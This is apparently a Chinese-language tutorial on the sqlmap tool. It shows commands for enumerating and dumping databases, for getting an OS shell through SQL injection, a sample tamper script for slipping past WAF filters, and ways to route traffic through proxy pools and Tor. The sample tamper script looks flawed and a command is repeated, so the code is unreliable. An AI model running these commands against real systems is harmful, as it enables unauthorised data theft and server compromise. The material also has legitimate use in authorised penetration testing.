SQLMAP简单使用方法
00×1 SQL注入简单判断
使用\’或/来判断是否存在SQL注入
00×2 SQLMAP的简单使用
1.常用语句
sqlmap -u http://example.com --dbs #跑出数据库
sqlmap -u http://example.com -D 数据库名 --tables 跑出指定 数据库的表
sqlmap -u http://example.com -D 数据库名 -T 表名 -- columns 跑出指定表的列名
sqlmap -u http://example.com -D 数据库名 -T 表名 -- columns 跑出指定表的列名
#如果存在两个以上的参数,url要加上引号。
2.常用命令
--users #列举数据库管理系统中的用户
--is-dba #检测当前用户是否是管理员
--os-shell #模拟一个可以执行任意命令的shell
--os-cmd #执行命令
-current-user #列举当前用户
risk 1 #风险等级
level 1 #检测级别
-proxy =http:// #设置代理
-batch #非交互模式
-p #指定sql注入点
3.SQLMAP中文手册
00×3 SQLMAP tamper的编写
1.tamper介绍
使用tamper脚本可在一定程度上避开字符过滤,绕过waf
2.tamper 结构
1.PRIORITY:PRIORITY是定义tamper的优先级,如果使用者使用了多个tamper,sqlmap就会根据每个tamper定义PRIORITY的参数等级来优先使用等级较高的tamper
2.dependencies:dependencies主要是提示用户,这个tamper支持哪些数据库
3.tamper:tamper这个函数是tamper最重要的函数,你要实现的功能,全部写在这个函数里payload这个参数就是sqlmap的原始注入payload,我们要实现绕过,一般就是针对这个payload的修改。kwargs是针对http头部的修改,如果你bypass,是通过修改http头,就需要用到这个
3.tamper编写
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file \'doc/COPYING\' for copying permission
Author:J8sec.com
"""
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Bypass b.0 \'%s\' %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
#其中#为用于替换原字符的字符
def tamper(payload, **kwargs):
payload=payload.replace(\'AND\',\'#\')
payload=payload.replace(\'UNION\',\'#\')
payload=payload.replace(\'SELECT\',\'#\')
payload=payload.replace(\'FROM\',\'#\')
payload=payload.replace(\'WHERE\',\'#\')
payload=payload.replace(\'GROUP\',\'#\')
payload=payload.replace(\'IN\',\'#\')
return payload
写完tamper后将tamper.py放入SQLMAP根目录下的tamper目录中
4.SQLMAP参数语句
--tamper=tamper
00×4 SQLMAP代理
自己写或者去GitHub上找
思路:爬取网上公开代理,再把代理用SCOKET服务或HTTP服务与本地端口连接起来
SQLMAP参数语句
--proxy=http://127.0.0.1:9999 #代理池
sqlmap.py -u http://example --tor -tor- type=SOCKS5 --tor-port=9050 --check-tor #tor代理